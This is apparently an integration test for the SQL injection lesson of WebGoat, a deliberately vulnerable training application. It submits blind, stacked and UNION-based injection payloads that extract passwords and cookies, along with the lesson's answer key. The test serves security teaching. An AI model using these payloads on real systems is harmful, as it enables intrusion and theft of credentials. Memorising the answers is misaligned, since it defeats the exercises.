||||
public class SqlInjectionAdvancedTest extends IntegrationTest {
|
||||
|
||||
@Test
|
||||
public void runTests() {
|
||||
startLesson("SqlInjectionAdvanced");
|
||||
|
||||
Map<String, Object> params = new HashMap<>();
|
||||
params.clear();
|
||||
params.put("username_reg", "tom' AND substring(password,1,1)='t");
|
||||
params.put("password_reg", "password");
|
||||
params.put("email_reg", "someone@microsoft.com");
|
||||
params.put("confirm_password", "password");
|
||||
checkAssignmentWithPUT(url("/WebGoat/SqlInjectionAdvanced/challenge"), params, true);
|
||||
|
||||
params.clear();
|
||||
params.put("username_login", "tom");
|
||||
params.put("password_login", "thisisasecretfortomonly");
|
||||
checkAssignment(url("/WebGoat/SqlInjectionAdvanced/challenge_Login"), params, true);
|
||||
|
||||
params.clear();
|
||||
params.put("userid_6a", "'; SELECT * FROM user_system_data;--");
|
||||
checkAssignment(url("/WebGoat/SqlInjectionAdvanced/attack6a"), params, true);
|
||||
|
||||
params.clear();
|
||||
params.put("userid_6a", "Smith' union select userid,user_name, user_name,user_name,password,cookie,userid from user_system_data --");
|
||||
checkAssignment(url("/WebGoat/SqlInjectionAdvanced/attack6a"), params, true);
|
||||
|
||||
params.clear();
|
||||
params.put("userid_6b", "passW0rD");
|
||||
checkAssignment(url("/WebGoat/SqlInjectionAdvanced/attack6b"), params, true);
|
||||
|
||||
params.clear();
|
||||
params.put("question_0_solution", "Solution 4: A statement has got values instead of a prepared statement");
|
||||
params.put("question_1_solution", "Solution 3: ?");
|
||||
params.put("question_2_solution", "Solution 2: Prepared statements are compiled once by the database management system waiting for input and are pre-compiled this way.");
|
||||
params.put("question_3_solution", "Solution 3: Placeholders can prevent that the users input gets attached to the SQL query resulting in a seperation of code and data.");
|
||||
params.put("question_4_solution", "Solution 4: The database registers 'Robert' ); DROP TABLE Students;--'.");
|
||||
checkAssignment(url("/WebGoat/SqlInjectionAdvanced/quiz"), params, true);
|
||||
|
||||
checkResults("/SqlInjectionAdvanced/");
|
||||
}
|
||||
}
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
x
Reference in New Issue
Block a user